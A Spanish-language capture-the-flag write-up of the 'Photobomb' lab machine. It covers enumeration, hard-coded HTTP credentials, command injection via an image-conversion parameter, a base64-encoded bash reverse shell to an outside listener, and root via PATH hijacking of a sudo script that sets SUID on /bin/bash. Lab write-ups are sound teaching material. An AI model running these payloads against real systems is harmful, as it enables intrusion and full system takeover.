Photobomb
8 minutos de lectura
sudo
para ejecutar un script en Bash que es vulnerable a PATH
hijacking, y se puede utilizar para escalar privilegios- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.182
- Fecha: 08 / 10 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.182 -p 22,80
Nmap scan report for 10.10.11.182
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 7.85 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.182
se nos redirige a http://photobomb.htb
, por lo que tenemos que introducir el dominio en /etc/hosts
. Luego, veremos esta página web:
Dice que necesitamos credenciales para acceder a /printer
…
Si inspeccionamos el código HTML de la página, veremos un archivo de JavaScript llamado photobomb.js
:
Ahí, tenemos credenciales hard-coded pH0t0:b0Mb!
:
Estas credenciales son para autenticación básica HTTP, por lo que las podemos usar en la página de antes, o acceder mediante http://pH0t0:b0Mb!@photobomb.htb/printer
:
Aquí nos podemos descargar varias imágenes en dos extensiones (PNG y JPEG) y en varias dimensiones.
En primer lugar, podemos aplicar fuzzing para enumerar más rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://photobomb.htb/FUZZ
printer [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 45ms]
printers [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 45ms]
printerfriendly [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 38ms]
printer_friendly [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 54ms]
printer_icon [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 44ms]
printer-icon [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 43ms]
printer-friendly [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 45ms]
printerFriendly [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 38ms]
[Status: 200, Size: 843, Words: 136, Lines: 23, Duration: 62ms]
printersupplies [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 42ms]
printer1 [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 43ms]
printer2 [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 40ms]
printericon [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 40ms]
printer_2867 [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 38ms]
printer_securit [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 42ms]
printer_drivers [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 46ms]
printer_2 [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 86ms]
printer_list [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 41ms]
printerdrivers [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 69ms]
printer-ink [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 38ms]
Vemos que todas las rutas empiezan por printer
. De hecho, esto es un problema relacionado con nginx. Probablemente, hay una ruta configurada como location /printer {
en lugar de location /printer/ {
. Cuando esta mala configuración se combina con ciertas aplicaciones, puede derivar en vulnerabilidades de navegación de directorios (más información en www.acunetix.com, i.blackhat.com o en my write-up de Pikaboo).
Desafortunadamente, no es explotable esta vez, solamente podremos ver que la tecnología detrás de nginx es Sinatra (un framework web para Ruby):
Hay algunas vulnerabilidades para Sinatra listadas en security.snyk.io, pero de nuevo, ninguna parece explotable. Además, no sabemos qué versión de Sinatra se está utilizando.
Por tanto, vamos a centrarnos en la funcionalidad de descarga de imágenes. La petición POST requiere tres parámetros:
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=png&dimensions=600x400'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
Acceso a la máquina
Podemos jugar un poco con los parámetros. Por ejemplo, probar con vulnerabilidades de navegación de directorios:
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=./voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=png&dimensions=600x400'
Invalid photo.
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=.&filetype=png&dimensions=600x400'
Failed to generate a copy of .
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=..&filetype=png&dimensions=600x400'
Invalid photo.
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=&filetype=png&dimensions=600x400'
Failed to generate a copy of
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d ''
NoMethodError: undefined method `match' for nil:NilClass
server.rb:99:in `block in <main>'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1636:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1636:in `block in compile!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:987:in `block (3 levels) in route!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1006:in `route_eval'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:987:in `block (2 levels) in route!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1035:in `block in process_route'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1033:in `catch'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1033:in `process_route'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:985:in `block in route!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:984:in `each'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:984:in `route!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1098:in `block in dispatch!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `block in invoke'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `catch'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `invoke'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1095:in `dispatch!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:919:in `block in call!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `block in invoke'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `catch'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `invoke'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:919:in `call!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:908:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/xss_header.rb:18:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/path_traversal.rb:16:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/json_csrf.rb:26:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/base.rb:50:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/base.rb:50:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/frame_options.rb:31:in `call'
/usr/lib/ruby/vendor_ruby/rack/logger.rb:15:in `call'
/usr/lib/ruby/vendor_ruby/rack/common_logger.rb:33:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:231:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:224:in `call'
/usr/lib/ruby/vendor_ruby/rack/head.rb:12:in `call'
/usr/lib/ruby/vendor_ruby/rack/method_override.rb:22:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/show_exceptions.rb:22:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:194:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1951:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1503:in `block in call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1730:in `synchronize'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1503:in `call'
/usr/lib/ruby/vendor_ruby/rack/handler/webrick.rb:86:in `service'
/usr/lib/ruby/2.7.0/webrick/httpserver.rb:140:in `service'
/usr/lib/ruby/2.7.0/webrick/httpserver.rb:96:in `run'
/usr/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'
Vemos que el servidor no nos deja poner /
en el parámetro photo
, por lo que la lectura de archivos no parece asequible. Además, podemos confirmar que estamos tratando con Ruby porque vemos server.rb
en la traza de error.
Podemos continuar probando con diferentes formatos de archivo:
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=600x400'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=svg&dimensions=600x400'
Invalid filetype.
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=pngasdf&dimensions=600x400'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
¿Lo ves? Le hemos dicho al servidor que convierta la foto a pngasdf
y no se ha quejado…
Encontrando una inyección de comandos
A lo mejor podemos inyectar algo… Vamos a ver:
$ time curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=png;sleep+10&dimensions=600x400'
Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpg 11,41 real 0,00 user 0,00 sys
Usando ;sleep 10
(con un +
para codificar el espacio), la respuesta tarda 11 segundos. Entonces, hemos conseguido inyectar un comando de sistema.
En este punto, podemos obtener una reverse shell en la máquina:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;`echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash`&dimensions=600x400'
Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpg
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.182.
Ncat: Connection from 10.10.11.182:33580.
bash: cannot set terminal process group (692): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
wizard@photobomb:~/photobomb$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
wizard@photobomb:~/photobomb$ export TERM=xterm
wizard@photobomb:~/photobomb$ export SHELL=bash
wizard@photobomb:~/photobomb$ stty rows 50 columns 158
Y ya tenemos la flag user.txt
:
wizard@photobomb:~/photobomb$ cd
wizard@photobomb:~$ cat user.txt
2383a894b2473d7287fa24e8a288d488
Enumeración del sistema
El usuario wizard
puede ejecutar sudo
:
wizard@photobomb:~$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
Se nos permite ejecutar /opt/cleanup.sh
como root
sin contraseña y con la posibilidad de añadir variables de entorno. Vamos a ver este archivo:
wizard@photobomb:~$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
Escalada de privilegios
El código fuente anterior tiene una vulnerabilidad. Nótese que find
se ejecuta con una ruta relativa…
Se trata de una vulnerabilidad de PATH
hijacking, ya que Bash utiliza la variable de entorno PATH
para encontrar find
. Esto es:
wizard@photobomb:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
wizard@photobomb:~$ which find
/usr/bin/find
Se ve que find
está en /usr/bin
. Pero si hubiera otro archivo ejecutable llamado find
en /usr/local/bin
, tendría prioridad sobre /usr/bin
porque se encuentra primero en la variable de entorno PATH
.
Explotación de PATH
hijacking
Para explotar la vulnerabilidad, tenemos que crear un archivo ejecutable llamado find
y modificar la variable de entorno PATH
. La idea es que, al ejecutar el script con sudo
, nuestro comando find
sea ejecutado por root
. Entonces, podemos añadir permisos SUID a /bin/bash
para escalar privilegios:
wizard@photobomb:~$ cd /tmp
wizard@photobomb:/tmp$ cat > find
#!/bin/bash
chmod 4755 /bin/bash
^C
wizard@photobomb:/tmp$ chmod +x find
wizard@photobomb:/tmp$ export PATH=/tmp:$PATH
wizard@photobomb:/tmp$ which find
/tmp/find
Con la nueva variable de entorno PATH
, nuestro comando find
está prmiero. Ahora procedemos ejecutar el script con sudo
. Sin embargo, necesitamos poner la variable PATH
en el mismo comando, ya que sudo
no cogerá la variable PATH
del entorno actual (usará secure_path
). Pero esta vez tenemos permisos de SETENV
, por lo que la podemos sobrescribir:
wizard@photobomb:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 09:14 /bin/bash
wizard@photobomb:/tmp$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
wizard@photobomb:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 09:14 /bin/bash
Ahí está. Ahora podemos acceder como root
:
wizard@photobomb:/tmp$ bash -p
bash-5.0# cat /root/root.txt
44c1180a9f62174b92eed4252af61e1a